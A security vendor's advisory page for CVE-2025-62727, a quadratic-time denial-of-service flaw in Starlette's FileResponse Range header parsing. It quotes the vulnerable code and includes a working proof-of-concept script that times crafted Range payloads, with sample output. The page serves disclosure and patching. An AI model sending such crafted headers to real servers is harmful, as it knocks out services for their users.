Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-62727 — starlette

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-400 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Starlette vulnerable to O(n^2) DoS via Range header merging in `starlette.responses.FileResponse`

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in `FileResponse._parse_range_header()`, then merges ranges using an O(n^2) algorithm.

```python

# starlette/responses.py

_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):

@staticmethod

def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:

ranges: list[tuple[int, int]] = []

try:

units, range_ = http_range.split("=", 1)

except ValueError:

raise MalformedRangeHeader()

# [...]

ranges = [

(

int(_[0]) if _[0] else file_size - int(_[1]),

int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,

)

for _ in _RANGE_PATTERN.findall(range_) # vulnerable

if _ != ("", "")

]

```

The parsing loop of `FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range` header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • `starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178`
  • Direct `starlette.responses.FileResponse` responses

PoC

```python

#!/usr/bin/env python3

import sys

import time

try:

import starlette

from starlette.responses import FileResponse

except Exception as e:

print(f"[ERROR] Failed to import starlette: {e}")

sys.exit(1)

def build_payload(length: int) -> str:

"""Build the Range header value body: '0' * num_zeros + '0-'"""

return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:

start = time.perf_counter()

try:

FileResponse._parse_range_header(header, file_size)

except Exception:

pass

end = time.perf_counter()

elapsed = end - start

return elapsed

def run_once(num_zeros: int) -> None:

range_body = build_payload(num_zeros)

header = "bytes=" + range_body

# Use a sufficiently large file_size so upper bounds default to file size

file_size = max(len(range_body) + 10, 1_000_000)

print(f"[DEBUG] range_body length: {len(range_body)} bytes")

elapsed_time = test(header, file_size)

print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if __name__ == "__main__":

print(f"[INFO] Starlette Version: {starlette.__version__}")

for n in [5000, 10000, 20000, 40000]:

run_once(n)

"""

$ python3 poc_dos_range.py

[INFO] Starlette Version: 0.48.0

[DEBUG] range_body length: 5002 bytes

[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes

[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes

[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes

[DEBUG] elapsed time: 3.238832 seconds

"""

```

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2025-62727 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2025-62727 is recorded against 2 packages.

  • starlette (from 0.39.0 up to 0.49.1)
  • unknown

Timeline and source

Published on 28 October 2025 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

starlette has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-400: Uncontrolled Resource Consumption) in other software:

CVE-2025-62727 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source NVD
Published 2025-10-28
Updated 2026-08-20
Modified 2026-07-07

Affected Packages

Software From version Fixed in
starlette 0.39.0 0.49.1
unknown

Site Security Check

Is starlette part of your stack?

CVE-2025-62727 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025